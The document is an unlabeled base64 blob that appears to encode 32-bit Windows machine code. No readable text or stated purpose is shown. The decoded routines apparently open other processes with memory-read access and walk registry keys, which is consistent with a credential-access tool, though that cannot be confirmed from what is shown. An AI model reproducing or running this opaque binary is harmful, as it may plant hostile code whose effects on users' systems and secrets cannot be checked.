FroKOz+/1lZhcB0emhkbgUQ6Hv0/v+NRCQsiUQkII1MJCCLRCREiUQkMI1EJDhQagha6Pfr/v9ZWYXAdEL/dCRAaHxuBRDoRvT+/4tEJEiNVCQkagiNTCQciXQkNIl0JDiJRCQc6P/p/v+L8IPEDIX2dClomG4FEOgU9P7/6xhoyG4FEOvyaDhvBRDr6//TUFXo+/P+/1lZhfZ1EIE9VCoGEIgTAAAPgzMBAACLTCQUjUQkRL5gcAUQUIvW6Nj8/v9ZhcAPhAoBAABW/xV0sgMQi/CNRCQkUGoX/xUItAMQhcAPiPcAAACLRCQku65zARCL04tIICvOA0wkRImMJKQAAACLQCiLTCQUK8YDRCREiYQktAAAAI1EJBBQjUQkZFC4u3UBECvDUOguEf//g8QMhcAPhI8AAABofHAFEOhO8/7/i0QkFI1UJCCJRCQcjUQkHIlEJCCLRCQoWYtMJESDwCArzgPBjUwkEGoEiUQkFOjz6P7/WYXAdGT/dCQQaKBwBRDoCPP+/4tMJEyNVCQkuMt0ARArzivDAUQkIItEJCyDwCgDwY1MJBhqBIlEJBzos+j+/4PEDIXAdCL/dCQQaMxwBRDrEGgAcQUQ6L/y/v/rCv/TUFXotPL+/1lZi0wkFOg+6P7/V/8VtLIDEOsT/xWssgMQUGiAcQUQ6I/y/v9ZWV8zwF5dW4vlXcOD7GhTM9vHRCRgAQEAAIlcJAzHRCRkAAAABcdEJGggAAAAOVwkcHQIi0QkdIsA6wW4tFMEEFCNRCRcUP8VWLQDEFNqMY1EJCBQjUQkZFD/FZCzAxCFwA+IawQAAI1EJAxQjUQkZFBoAAMAAP90JCT/FYSzAxCFwHkNUGgYcgUQ6P/x/v9ZWVVWV4s9mLMDEIlcJFSNRCRQUGoBjUQkRFCNRCRgUP90JDT/FaCzAxCL2IlcJGCF23kSU2hIdgUQ6MDx/v9ZWenGAwAAM+2JbCRIOWwkUA+GsAMAADPbiVwkTItEJDyDwAQDw1BoiHIFEOiP8f7/WVmNRCQ4UItEJECDwAQDw1D/dCQs/xV0swMQhcAPiEwDAABosHIFEOhi8f7/WYtMJDjoPCP//41EJBRQ/3QkPGgAAwAA/3QkMP8VhLMDEIXAD4gDAwAAg2QkWACNRCREUGoBjUQkMFBqAI1EJGhQ/3QkKP8VfLMDEIvYiVwkXIXbeRJTaBB1BRDoAfH+/1lZ6aUCAAAz7TlsJEQPhpMCAAAz24tMJCiNQQQDw1D/NAto0HIFEOjV8P7/g8QMjUQkNFCLRCQs/zQDaBsDAAD/dCQg/xWIswMQhcAPiDUCAACNRCRAUI1EJDBQ/3QkPP8VeLMDEIXAeHoz9jl0JEB2aotEJCz/NPBo6HIFEOh+8P7/WVmNRCQcUI2EJIAAAABQi0QkNI0E8FBqAf90JCT/FYyzAxCFwHge/3QkfGgQWAQQ6Enw/v9ZWf90JHz/1/90JBz/1+sNUGgAcwUQ6C7w/v9ZWUY7dCRAcpb/dCQs/9frDVBoaHMFEOgS8P7/WVmNRCQwUItEJCz/NAP/dCQ8/xVsswMQhcAPiF8BAACNRCQQUI1EJCRQjUQkOFBqAf90JCT/FXCzAxCFwHh6M/Y5dCQgdmqLRCQQ/zSwaMxzBRDouu/+/1lZjUQkHFCNhCSAAAAAUItEJBiNBLBQagH/dCQk/xWMswMQhcB4Hv90JHxoEFgEEOiF7/7/WVn/dCR8/9f/dCQc/9frDVBoAHMFEOhq7/7/WVlGO3QkIHKW/3QkEP/X6w1QaOBzBRDoTu/+/1lZg3wkGAAPhKYAAACNRCQQUI1EJCRQjUQkOFBqAf90JCj/FXCzAxCFwHh6M/Y5dCQgdmqLRCQQ/zSwaEh0BRDoCe/+/1lZjUQkHFCNhCSAAAAAUItEJBiNBLBQagH/dCQo/xWMswMQhcB4Hv90JHxoEFgEEOjU7v7/WVn/dCR8/9f/dCQc/9frDVBoAHMFEOi57v7/WVlGO3QkIHKW/3QkEP/X6w1QaOBzBRDone7+/1lZ/3QkMP/X6w1QaGB0BRDoiO7+/1lZ/3QkNP8VnLMDEOsNUGi4dAUQ6G/u/v9ZWUWDwww7bCRED4Jz/f//i1wkXP90JCj/14H7BQEAAA+EFv3///90JBT/FZyzAxCLXCRMi2wkSOsNUGiAdQUQ6Cru/v9ZWf90JDj/1+sNUGjYdQUQ6BXu/v9ZWUWDwwyJbCRIiVwkTDtsJFAPglr8//+LXCRg/3QkPP/XaHRVBBDo6e3+/1mB+wUBAAAPhOz7//+DfCQYAF9eXXQK/3QkDP8VnLMDEP90JBj/FZyzAxDrDVBoyHYFEOix7f7/WVkzwFuDxGjDM8DDUVaNRCQEUGoAagFqFP8VSLQDEIvwhfZ4EGoUaIh3BRDogO3+/1lZ6xBWahRosHcFEOhv7f7/g8QMi8ZeWcMz0rkTgAEQ6dTx/v9Vi+yD7BBWi3UIhfZ0T4tFDIt0sPxWaGx5BRDoO+3+/1lZagGNRfCL1lAzwFBQUFBRUDPJ6Pr4/v+DxCCFwHQK/3X4aJx5BRDrDP8VrLIDEFBowHkFEOgA7f7/WVkzwF6L5V3Di1QkCItMJARqAOgkAAAAWcOLVCQIi0wkBGoB6BMAAABZw4tUJAiLTCQEagLoAgAAAFnDU1VWV4t8JBS+JQIAwIvHg+gAdCaD6AF0FYPoAQ+F1wAAALsACAAAvYh6BRDrFLsACAAAvWR6BRDrCDPbvTx6BRBDagCNRCQYUGhkIQUQ6FQf//+DxAyFwA+EkAAAAGoAagD/dCQc6LA7AQCDxAyJRCQUhcB0eFBqAFP/FdCyAxCL2IXbdFSD7wB0HIPvAXQOg+8BdS1T/xVEtAMQ6xJT/xVQtAMQ6wlqAFP/FUy0AxCL8IX2eAz/dCQUVWioegUQ6wdWVWjYegUQ6Pbr/v+DxAxT/xW0sgMQ6x//FayyAxBQaEB7BRDo2ev+/1nrCmjAewUQ6Mzr/v9ZX4vGXl1bw4tMJASNQThQ/3FEaER8BRDor+v+/zPAg8QMQMIIAItUJAiLTCQEaP6AARDoFgAAAFnDi1QkCItMJARovIEBEOgCAAAAWcNVi+xRU1ZXM9uNRfxTUGhkIQUQi/OL++hFHv//g8QMhcB0NlNT/3X8R+inOgEAg8QMUFNoAAAAgP8V0LIDEIvwhfZ1Ff8VrLIDEFBoWHwFEOgp6/7/WVnrQ41F/IvWUIvP6ALg/v9ZhcB0F4tVCItN/FPoOfD+/1mLTfzok+D+/+sT/xWssgMQUGjYfAUQ6Ovq/v9ZWVb/FbSyAxBfXjPAW4vlXcNWi3QkCP92EGhgfQUQ6Mfq/v//dCQUuiqBARCLzuiL9/7/g8QMM8BAXsIIAFaLdCQIV/92BP92FGhsfQUQ6Jfq/v+DxAy/jH0FEIN+DAB0EP92CGiEfQUQ6Hzq/v9Z6wZX6HPq/v+DfhwAWXQQ/3YcaJR9BRDoX+r+/1nrBlfoVur+/4N+DABZdBD/dgxonH0FEOhC6v7/WesGV+g56v7/g34QAFl0D/92EGikfQUQ6CXq/v9ZWTPAX0BewggAVot0JAj/dhBoYH0FEOgJ6v7//3QkFIvO6IX4/v+DxAwzwEBewggAVot0JAj/dgT/dhj/dhBotH0FEOjc6f7/i0YMg8QQhcB0CFBo2H0FEOsI/3YIaOB9BRDoven+/1lZM8BAXsIIAIN8JAQAVleL+XRji3QkEP82Umg0fwUQ6Jjp/v+DxAyDfCQMAXUk/zb/11mFwHQHaFzPBBDrPf8VrLIDEFBoYH8FEOht6f7/Wesui1QkFIXSdBWBPVQqBhCwHQAAcgmLDuhrAQAA6xJoyH8FEOsFaCiABRDoPOn+/1lfM8Bew2oA/3QkDLqYgAUQuYiYABD/dCQM6Gn///+DxAzDagD/dCQMuqyABRC505gAEP90JAzoTP///4PEDMNqAf90JAy6wIAFELl3mQAQ/3QkDOgv////g8QMw2oC/3QkDLrUgAUQuYmZABD/dCQM6BL///+DxAzDagP/dCQMuuyABRC5m5kAEP90JAzo9f7//4PEDMNqD/90JAy6AIEFELmtmQAQ/3QkDOjY/v//g8QMw2oF/3QkDLoYgQUQucGZABD/dCQM6Lv+//+DxAzDVYvsagBqAGoAagBqAGoAagBqAGoAi0UI/3AYagBqAGoAi0UIg8AgUItFCP9QFItNCIlBCDPAXcIEAFWL7LhzY3ZzXcNVi+xqAGoAagBqAGoAagBqAGoAagCLRQj/cBhqAGoAi00Ig8Egi0UIM9L/UBSLTQiJQQgzwF3CBABVi+y4ZmN2c13DVYvsg+T4g+xgU1Uz7Y1EJCRWi/KJbCQci9mJdCQYV41UJBCJXCQYuSyBBRCJbCQsiWwkMIlsJCSJRCQo6J7s/v+FwA+E9wEAAP90JBBVaDoEAAD/FdCyAxCL+IX/D4TKAQAAjUQkQDPJUIvXQehc3P7/WYXAD4SpAQAAOS3EKAYQiy2YsgMQD4W6AAAAUYtMJESNVCRQ6LDw/v9ZhcAPhJAAAACLRCRUjVQkFI1MJDyJRCQ86Cfx/v+FwHR3i1wkFLmwEAYQ/zVUKgYQagOLQzSJRCREi0NQWolEJEjol+n+/4vwWYX2dECLTgiNRCQ8UYlMJCiNTCQoi1YEUOh/3v7/WVmFwHQOi0YUA0QkSKPEKAYQ6xP/FayyAxBQaEiBBRDoveb+/1lZU//Vi1wkGIt0JByDPcQoBhAAdQpoaIMFEOnOAAAAgT1UKgYQ8CMAAHMMuKaDARC6bIMBEOsKuOmDARC6sIMBEI1MJDQrwlEzyVGLTCRIUOgyBP//g8QMhcAPhIgAAACLy41RAmaLAYPBAmY7RCQgdfMryovW0flTjQRNAgAAAIsNxCgGEFDovQD//4vwWVmF9nRJjUQkXIvWUI1MJDjo7gD//1mFwHQeg3wkZAB0C/90JGRo3IEFEOsYaPCBBRDo9+X+/+sS/xWssgMQUGgAggUQ6OTl/v9ZWVb/1Y1MJDToQt/+/+sLaKCCBRDoyuX+/1mLTCRA6FXb/v9X/xW0sgMQ6xP/FayyAxBQaAiEBRDopuX+/1lZXzPAXl1bi+Vdw2h0iAUQ6JDl/v9ZuBUAAEDDVYvsg+wgVmr1/xVssgMQi/AzwIlF/I1F4FBW/xVwsgMQD79N4o1F+FAPv0Xg/3X8D6/IUWogVv8VaLIDEP91/Fb/FWCyAxAzwF6L5V3DaICIBRDoMeX+/1kzwMNokIgFEOgj5f7/WTPAw4N8JAQAVnQWi0QkDGoAagD/MOhfNAEAg8QMi/DrBb7oAwAAVmgQiQUQ6PHk/v9ZWVb/FaiyAxBoNIkFEOje5P7/WTPAXsOLTCQEVleLfCQQM/ZWVmiweAUQi9foohf//4PEDIXAdQ85dCQMdASLN+sFvkSJBRCLzuiK5f7/hcC6vAgFELm0CAUQD0TKUVZoYIkFEOiH5P7/g8QMM8BfXsODPSwoBhAAVle+nIkFEL+oiQUQi8YPRMdQaLSJBRDoXOT+/zPAOQUsKAYQD5TAhcCjLCgGEA9E91Zo9IkFEOg85P7/g8QQM8BfXsNVi+xRjUX8UP8VyLIDEFD/FVyyAxCFwHQ4g338ALk8igUQagBocoVTC7g0igUQD0TBUP81VCoGEP81aCoGEP81UCoGEGhIigUQ6Obj/v+DxBwzwIvlXcNRVVaNTCQI6DjK/v+LNayyAxC9+IoFEIXAdC6DfCQQAHQLaOiKBRDoseP+/1n/dCQIaBAuBRDoouP+/1lZ/3QkCP8VmLIDEOsL/9ZQVeiL4/7/WVmDfCQQAHROi0QkFP8w/xVksgMQhcB0L41MJAjo0Mn+/4XAdBz/dCQIaISLBRDoV+P+/1lZ/3QkCP8VmLIDEOsV/9ZQVesI/9ZQaJiLBRDoNuP+/1lZXjPAXVnDaAyMBRDoJOP+/1kzwMNVi+xRVmiAjQUQ6BHj/v9ZjUX8UGoI/xXIsgMQUP8VvLADEIs1rLIDEIXAdBOLTfzo7AIAAP91/P8VtLIDEOsP/9ZQaKiNBRDo0+L+/1lZaBiOBRDox+L+/1mNRfxQagFqCP8VWLIDEFD/FRSxAxCFwHQTi0386KYCAAD/dfz/FbSyAxDrJP/WPfADAAB1DGhAjgUQ6Ifi/v/rDv/WUGhYjgUQ6Hji/v9ZWTPAXovlXcOLVCQIi0wkBGoA6BcAAABZM8DDi1QkCItMJARqAegEAAAAWTPAw4PsGItEJBxTVVYz9olEJCBXVo1EJCCJdCQcUGiU2wQQi9qJdCQoi+mJdCQsi/6JdCQc6PUU//9WjUQkJIvTUGgQ3AQQi83o4RT//4PEGFZWhcB0Ff90JBzoQzEBAIPEDIlEJCDpkAAAAGjEjgUQi9OLzei1FP//g8QMhcB0JGopX41MJBDoYNX+/4XAdWv/FayyAxBQaOCOBRDoquH+/1nrVlZWaIjbBBCL04vN6HoU//+DxAyFwHQFahpf6zs5dCQsdAY5dCQcdBdWVmjEuAQQi9OLzehSFP//g8QMhcB0GGoWXzl0JBx0D2iYjwUQ6FXh/v+JdCQgWYtsJCyF7XQUOXQkIHUOhf91Cjl0JBwPhPwAAAA5dCQcuLRTBBAPRUQkHFD/dCQkaCiQBRDoF+H+/4sdmLIDEIPEDIX/dHyLRCQQhcB0A4twKI1EJBiL1lCLz+jl1P7/WYXAdFBRi0wkHI1EJBhQjVQkNOjCFf//WVmFwHQj/3QkLP90JBhogJAFEOjB4P7/g8QM/3QkLP/T/3QkFP/T6y3/FayyAxBQaJCQBRDon+D+/1nrGP8VrLIDEFBoOJEFEOvqaHRVBBDohOD+/1lodFUEEOh54P7/WYXtdBWDfCQgAHUOg3wkGAB1B4N8JBwAdBaNVCQY6OEV//+DfCQYAHQG/3QkGP/Tg3wkEAB0Cv90JBD/FRCxAxBfXl0zwFuDxBjDVjP2Vlb/FSCxAxCFwHQJVlbo+Pz//+sR/xWssgMQUGjwkQUQ6AXg/v9ZWTPAXsNVi+yD7EyNRfBWUGo4jUW4i/FQagpW/xW0sAMQhcAPhJYAAAD/dbho1JIFEOjO3/7/WY1F9IvOUI1F+FCNVfzoGBT//4PEDIXAdCv/dfT/dfz/dfho5JIFEOih3/7/izWYsgMQg8QQ/3X8/9b/dfj/1v919P/Wi0XQ/zSFCEwEEP915P914Gj4kgUQ6G/f/v+DxBCDfdACdRaLRdT/NIUUTAQQaByTBRDoUt/+/1lZaHRVBBDoRt/+/1lei+Vdw1WL7IPk+IPsTFNWVzP/R4l8JAz/FVSyAxA5RQwPhEIBAACNRCQcUGo4jUQkKFBqCv91CP8VtLADEIXAD4QjAQAAi10Qg3sEAHRGUYtNCI1EJBxqAFCNVCQg6D8T//+DxAyFwHQ//3ME/3QkGOhqmwAAizWYsgMQ99hZWf90JBQbwECJRCQQ/9b/dCQY/9brFItLCIXJdA0zwDtMJCAPlMCJRCQMg3wkDAAPhLkAAAA5fCQ4jUQkEFCLRCRAagJqA1kPRMFQagBqDP91CP8VGLEDEIXAD4SOAAAAgzsAizWssgMQdCmDZCQMAI1EJAxQ/zP/dCQY/xUcsQMQhcB1D//WUGgokwUQ6DTe/v9ZWYN8JAwAdEH/dQxoxJMFEOge3v7/WVmLTQjoFf7//zP/OXsMdCf/dCQQV/8VILEDEIXAdDFozJMFEOj03f7/WVdX6Mz6//9ZWYl8JAz/dCQQ/xW0sgMQi3wkDIvHX15bi+VdwgwA/9ZQaPiTBRDowN3+/1lZ69ZRaGSVBRBofJUFEGoEWrmAEQYQ6Fjg/v+DxAwzwMNo2JUFEP8VgLIDEKPUKAYQhcAPhO4AAABWizV8sgMQaOyVBRBQ/9ZoBJYFEP811CgGEKPQKAYQ/9ZoHJYFEP811CgGEKPkKAYQ/9ZoLJYFEP811CgGEKPcKAYQ/9ZoQJYFEP811CgGEKPYKAYQ/9ZoVJYFEP811CgGEKPMKAYQ/9ZoZJYFEP811CgGEKPwKAYQ/9ZocJYFEP811CgGEKPsKAYQ/9aDPdAoBhAAo8goBhCj9CgGEF50RoM95CgGEAB0PYM93CgGEAB0NIM92CgGEAB0K4M9zCgGEAB0IoM98CgGEAB0GYM97CgGEAB0EIXAdAzHBegoBhABAAAA6weDJegoBhAAM8DDodQoBhCFwHQHUP8VeLIDEDPAw1WL7IPk+IPsMIM96CgGEABTVVZXD4RWBAAAjUQkJDPtUI1EJEBQVf8V5CgGEIXAD4UuBAAAi92JXCQ0OVwkPA+GEgQAAIv1v3RVBBCJdCQ4aGyXBRDoKNz+/1mLTCQkjQwO6M0N//9X6BXc/v9ZjUQkFFCLRCQoVQPGUP8V3CgGEIXAD4i4AwAAi0wkFOiBBwAAjUQkIFCNRCQgUFX/dCQg/xXMKAYQhcAPiIcDAAD/dCQcaICXBRDoxdv+/4N8JCQAWVmLzYlMJCwPhlwDAACL3YlsJDCJXCQYi9WBPVQqBhBAHwAAi3QkIA+DNwEAAAPy/3YQUWiclwUQ6ILb/v+DxAxotJcFEOh12/7/WYvO6B8N//9X6Gfb/v/HBCTglwUQ6Fvb/v9ZjU4g6OAM//9X6Ezb/v9Z/3YoaAyYBRDoPtv+/2hAmAUQ6DTb/v+LThSDxAzoVwcAAFfoI9v+/8cEJGyYBRDoF9v+/1mLThjoPAcAAFfoCNv+/8cEJJiYBRDo/Nr+/1mLThzoIQcAAFfo7dr+/4v9WTluLHYxi91XaMSYBRDo2Nr+/4tOMAPL6PwGAABodFUEEOjE2v7/g8QMg8MgRzt+LHLVi1wkGI1EJCiJbCQoUFVV/3YY/3YUVv90JCz/FcgoBhBo8JgFEIvw6Iza/v9ZhfZ1DotMJCiLSRzoqQYAAOsNVmggmQUQ6G7a/v9ZWb90VQQQV+hh2v7/WenYAQAAA/P/dhBRaJyXBRDoS9r+/4PEDGi0lwUQ6D7a/v9Zi87o6Av//1foMNr+/8cEJOCXBRDoJNr+/1mNTiToqQv//1foFdr+/1n/dixoDJgFEOgH2v7/aECYBRDo/dn+/4tOFIPEDOggBgAAV+js2f7/xwQkbJgFEOjg2f7/WYtOGOgFBgAAV+jR2f7/xwQkmJgFEOjF2f7/WYtOHOjqBQAAV+i22f7/xwQkgJkFEOiq2f7/WYtOIOjPBQAAV+ib2f7/i91ZOW4wdjKL/VNoxJgFEOiG2f7/i040A8/oqgUAAGh0VQQQ6HLZ/v+DxAyDxyBDO14wctW/dFUEEI1EJBCJbCQQUFVV/3Yg/3YY/3YUVv90JDD/FfQoBhBo8JgFEIvo6DbZ/v9Zhe11DotMJBCLSRzoUwUAAOsNVWiwmQUQ6BjZ/v9ZWVfoENn+/zPSu6BMBBBZM/8zyYsEjjsEi3VOQYP5BHXya/oY/7ewTAQQaBCaBRDo49j+/1lZi4+0TAQQhcl0G4XtdQiLRCQQhcB1AjPAagFQVo2HoEwEEFD/0b90VQQQV+ix2P7/WesUg8cYQoPDGIH/qAAAAHKZv3RVBBCDfCQQAHQK/3QkEP8V7CgGEItcJBgz7YtMJCyDwziLVCQwQYPCNIlMJCyJVCQwiVwkGDtMJBwPgrj8//+LXCQ0i3QkOP90JCD/FewoBhCNRCQUUP8V8CgGEEODxhCJXCQ0iXQkODtcJDwPgvn7////dCQk/xXsKAYQ6w1QaDCaBRDoFNj+/1lZXzPAXl1bi+Vdw4PsHFNViy2YsgMQVleLfCQ0M/aLRxiFwA+EggEAAIN4CAgPhXgBAABopJoFEOjW1/7/i08YjUQkGFCNVCQYi0kU6KsM//9ZWYXAdCP/dCQQ/3QkGGjQmgUQ6KrX/v+DxAz/dCQQ/9X/dCQU/9XrC4tPGItJFOhyCf//aHRVBBDohNf+/4tcJDRZgTsrobi0D4UPAQAAix10sAMQjUQkIFBqCGoAaOCaBRBoAgAAgP/ThcAPhdsAAACNRCQcUItHGP9wFP8VqLADEIXAD4SjAAAAjUQkNFBqAWoA/3QkKP90JDD/04XAdXeLHWywAxCNRCQYUDPAUFBQaISbBRD/dCRI/9OFwHU//3QkGGpA/xWQsgMQi/CF9nQ6jUQkGFBWagBqAGiEmwUQ/3QkSP/ThcB0IVBomJsFEOjL1v7/WVlW/9WL8OsNUGhgnAUQ6LfW/v9ZWf90JDT/FYSwAxDrDVBoKJ0FEOie1v7/WVn/dCQc/9XrE/8VrLIDEFBo8J0FEOiD1v7/WVn/dCQg/xWEsAMQ6w1QaMCeBRDoatb+/1lZi1wkMItMJDiFyXRoi0kchcl0YYN5CAh1W2aLQRBmiUQkJmaJRCQki0EUaJyfBRCJRCQs6DDW/v9ZjUwkJOhSBP//hcB0Eo1EJCRQaBBYBBDoE9b+/1nrEA+3VCQki0wkKGoB6GYG//9ZaHRVBBDo9dX+/1mLRzSFwA+EcAEAAIN/MAAPhmYBAACBO/Uz4LIPhEMBAACBOyuhuLR0coE7kXLI/nQPaACiBRDoudX+/+k6AQAAg3gICA+FMQEAAItwFGi8oQUQiz4D/uiZ1f7/WYtOCIP5AXYYi0YEjQRHUI1B/1Bo6KEFEOh71f7/g8QMi0YEg/gBdhBXSFBo9KEFEOhj1f7/g8QMaHRVBBDrm4N4CAgPhdYAAACLWBSF9nQQVmgAoAUQ6D3V/v9ZWVb/1WgwoAUQ6C7V/v9ZM/+NcwxXaHygBRDoHdX+/4tG9FlZg+gAdFaD6AF0P4PoAXQR/3b0aLShBRDo/NT+/1lZ606DfgQAuMigBRC53KAFEA9EwVD/Nv92/P92+Gj4oAUQ6NTU/v+DxBTrJf92BP82/3b8/3b4aFChBRDr5P92/P92+GiQoAUQ6K3U/v+DxAxodFUEEOig1P7/R4PGFFmD/wMPgmr////rF4N4CAJ1EQ+3QBBQaMifBRDoe9T+/1lZX15dW4PEHMIQAFWL7IPsFFZXM8CNfeyri/Grq6urjUXsUGoAVsdF7AEAAAD/FdgoBhCFwHgY/3XwaBCiBRDoNtT+/1lZ/3Xw/xXsKAYQM8CNfeyBPVQqBhBAHwAAq6urq6sbwIPgBIPABIlF7I1F7FBqAFb/FdgoBhBfXoXAeCODffAAuDSiBRAPRUXwUGhMogUQ6OHT/v9ZWf918P8V7CgGEIvlXcNWi/GF9nRsi0YISIPoAXRSSIPoAXRCg+gDdDOD6AF0H/92CGiAogUQ6KXT/v9qAWoEjU4QWuj+A///g8QMXsOLVhCLThRqAejsA///6yT/dhBoSF8EEOsU/3YQaHiiBRDrCg+3RhBQaHCiBRDoYdP+/1lZXsOD7HxTVTPtjUQkGIvdiWwkCFZXiWwkIIlsJCSJbCQwiUQkNIlsJCiJRCQsOR3gKAYQD4VsAQAAi5QklAAAAIuMJJAAAABVVWi8QgUQ6O8F//+DxAyFwA+ERwEAAP81VCoGELnQEgYQagRa6IPV/v+L8FmF9g+EbgIAAItOCI1UJGSJTCQwi04QiUwkKLlIRwUQ6Bz//v+FwA+E7QAAAP+0JIAAAABVaDgEAAD/FdCyAxCFwA+ExAAAAI1MJBSL0FEzyUHof8f+/1mFwA+EFwIAAItMJBSNRCRQULpwQQUQ6IHb/v9ZhcB0c4tEJFCNVCQwUf+0JJgAAACJRCRIjUwkSP+0JJgAAACLRCRgiUQkUItEJGSJRCRUjUQkNGh6mAEQ/3YUxwXgKAYQAQAAAP92DFD/dgToWtP+/4PEIIXAdRP/FayyAxBQaKCjBRDoC9L+/1lZiS3gKAYQ6xP/FayyAxBQaAikBRDo8NH+/1lZi0wkFOh6x/7/6WsBAAD/FayyAxBQaMCkBRDrDP8VrLIDEFBoIKUFEOjB0f7/WVnpRQEAAI1EJBBQjUQkIFBTVf8VKLEDEIXAD4QYAQAAg3wkHACL/Q+GAQEAAItEJBCLLLiLRSCD+ARzDYsMhVBNBBCJTCQU6wjHRCQUqKUFEItFBIP4B3MNiwSFgEwEEIlEJBjrCMdEJBjUpQUQ/3UAg30MALgQpgUQ/3QkGIvwi9D/dSAPRXUMi8j/dCQkg30wAP91BA9FVTCDfSwAVg9FTSyDfQgAUg9FRQhRUGggpgUQ6AjR/v+LRCQ4aCCnBRCLDLiLQRyJRCRoZotBGGaJRCRmZolEJGTo4tD+/4PELI1MJDjoAv/+/4XAi0QkEHQTiwS4/3AcaEhfBBDovtD+/1nrEIsMuGoBi1EYi0kc6BEB//9ZaKx1BBDooND+/0dZO3wkHA+CAf///zPt/3QkEP8VJLEDEEOD+wF3DYM9UCoGEAUPh7v+//9fXl0zwFuDxHzDVYvsg+T4geywAAAAU1VWM/bHRCQUyBMGEI1EJECJdCQcV41UJDyJdCQsuYinBRCJdCQwiXQkNIvuiXQkOIl0JESJdCRIiXQkEIl0JBSJRCQc6BDV/v+FwA+E8AIAAP90JDxWaBgEAAD/FdCyAxCL2IlcJCSF2w+EvgIAAI1EJBQzyVCL00HoysT+/1mFwA+EnQIAAFGLTCQYjZQktAAAAOgt2f7/WYXAD4RvAgAAi4QkuAAAAI1UJCiNTCQQiUQkEOih2f7/hcAPhEgCAACLTCQoi0QkFIlEJDBRi0E0iUQkMItBUI1MJByJRCQ4jUQkMFBqB1roDsf+/1lZhcAPhAsCAACLRCQ4jUwkGIPADIlEJBCNRCQQagSL0IlEJBzoH8X+/1mFwA+E1QEAAI1EJCBqBI1UJBSJRCQcjUwkHOj/xP7/WYXAD4SuAQAAi0QkII1UJBCJRCQQjUwkGI1EJExqFIlEJBzo18T+/1mFwA+EfwEAAItEJFiNVCQQgT1UKgYQWBsAAI1MJBhqUA9DRCRgiUQkXIlEJBSNRCRkiUQkHOicxP7/WYXAD4Q9AQAA/3QkZP90JHD/dCRwaKinBRDopc7+/4tEJHiDxBDB4AJQakD/FZCyAxCL+Il8JECF/3RDi0wkaEWL3oXJdEuF7Q+EwAAAAP90JGxqQP8VkLIDEIkEn4XAdAWD5QHrDVNo8KcFEOhSzv7/WVmLTCRoQzvZcsrrD2hYqAUQ6DvO/v9Zi0wkaIXtdH2LlCSgAAAAi0wkFGoBV+gXAQAAi5QkrAAAAItMJBxWV+gFAQAAi0wkeIPEEIXJdE2L74v+aDStBBDo9M3+/4veWTlcJGx2G4tFAA++BBhQaLCoBRDo2c3+/0NZWTtcJGxy5Wh0VQQQ6MbN/v9Zi0wkaEeDxQQ7+XK7i3wkQIX/dCOFyXQYgzy3AHQN/zS3/xWYsgMQi0wkaEY78XLoV/8VmLIDEItcJCT/dCQo/xWYsgMQ6ztouKgFEOsTaBipBRDrDGhwqQUQ6wVoyKkFEOhfzf7/WevSaCiqBRDr8WiIqgUQ6wVoAKsFEOhEzf7/WYtMJBToz8L+/1P/FbSyAxDrH/8VrLIDEFBoaKsFEOggzf7/WesKaNirBRDoE83+/1lfM8BeXVuL5V3Dg+xQVVYzwIlUJBRXQIlMJByDfCRkAI1UJBhqBF4PRcaNTCQQg2QkIACDZCQkAIlEJAyNRCRAiUQkEI1EJCBqGIlEJBjol8L+/1mFwA+EQAEAAItEJEDB4AJQakD/FZCyAxCL+IX/D4QxAQAAi0wkTI1UJBiJTCQYi0wkQMHhAlGNTCQUiXwkFOhTwv7/WYXAD4ToAAAAM/Y5dCRAD4bnAAAAi2wkYI1EJCiJRCQQjVQkGIsEt41MJBBqGIlEJBzoHML+/1mFwA+ElwAAAItEJCgPr0QkDFBqQP8VkLIDEIlEJBCFwA+EhgAAAItEJDSNVCQYiUQkGI1MJBCLRCQoD69EJAxQ6NbB/v9ZhcB0PDPSOVQkKHZBg3wkZACLRCQQdBKLBJCLTJUAioCATQQQiAQO6w6APAIAdAiLRJUAxgQGKkI7VCQocs7rDVZoUKwFEOiyy/7/WVn/dCQQ/xWYsgMQ6w1WaACtBRDomcv+/1lZRjt0JEAPgir////rC2iwrQUQ6IDL/v9ZV/8VmLIDEOsLaECuBRDobMv+/1lfXl2DxFDDVYvsg+T4g+w8g2QkCACNRCQQg2QkDACJBCSNRCQIiUQkBKHYEwYQVoXAD4lyAQAAgz0AKQYQAHUYaNSuBRD/FYCyAxCjACkGEIXAD4RMAQAAjUQkLLpwQQUQUI1MJBDoCNT+/1mFwA+EMAEAAIM9+CgGEACLRCQsiUQkHItEJDCJRCQgi0QkNIlEJCR1a4s1fLIDEGjkrgUQ/zUAKQYQ/9aJRCQYhcB0Q2j8rgUQ/zUAKQYQ/9aJRCQUhcB0LlGNRCQgUGoIWo1MJAzoMcL+/1lZhcB0FotMJCiLQWyj/CgGEItBcKP4KAYQ6wWh+CgGEIXAD4SkAAAAUY1EJCDHRCQI0BMGEFBqB1qNTCQM6O7B/v9ZWYXAD4SAAAAAi0QkKItIB4twFotQHItAJ4kNRCoGEIk1QCoGEIkVSCoGEKNMKgYQhcl0VYX2dFGF0nRNhcB0SYs1kLIDELkAAQAAUWpAiQj/1osNQCoGEGiQAAAAakCJAf/Wi8ihSCoGEIkIoUAqBhCDOAB0E6HYEwYQM9KFyQ9FwqPYEwYQ6wWh2BMGEF6L5V3DoUAqBhCFwHQI/zD/FZiyAxChSCoGEIXAdAj/MP8VmLIDEKEAKQYQhcB0B1D/FXiyAxAzwMNVi+yD5PiD7CiLRQiLTQxWV4sQM/+NRCQYiVQkDIlEJBS+JQIAwIsBiUQkIItBCFGJRCQsjUwkFI1EJCSJVCQoUGoHWol8JCCJfCQkiXwkEMdEJBjQEwYQiXwkNOjEwP7/WVmFwA+EkQAAAItEJCyNTCQQg8AHiUQkCI1EJAhqBIvQiUQkFOjVvv7/WYXAdGyhRCoGEI1UJAhqCI1MJBSJRCQU6Li+/v9ZhcB0T4tEJCyNTCQIixVIKgYQg8AciUQkCGiQAAAAixLoNgAAAFmFwHQpi0QkLI1MJAiLFUAqBhCDwBaJRCQIaAABAACLEugQAAAAWTPJhcAPRfFfi8Zei+Vdw1WL7IPsGFNWV4v5jUXsi9qJffQz9olF+GoEi9eJdeyNTfSJdfDoMr7+/1mFwHQkagSL141N9Oghvv7/WYXAdBP/dQiL14ld9I1N9OgMvv7/WYvwX4vGXluL5V3Dgz3gFAYQAA+NFQEAAIM9ECkGEAAPhbYAAABoGK8FEP8VgLIDEKMQKQYQhcAPhPAAAABWizV8sgMQaCivBRBQ/9ZoRK8FEP81ECkGEKMUKQYQ/9ZoWK8FEP81ECkGEKMEKQYQ/9ZobK8FEP81ECkGEKMkKQYQ/9ZoiK8FEP81ECkGEKMgKQYQ/9ZomK8FEP81ECkGEKMYKQYQ/9ZoqK8FEP81ECkGEKMcK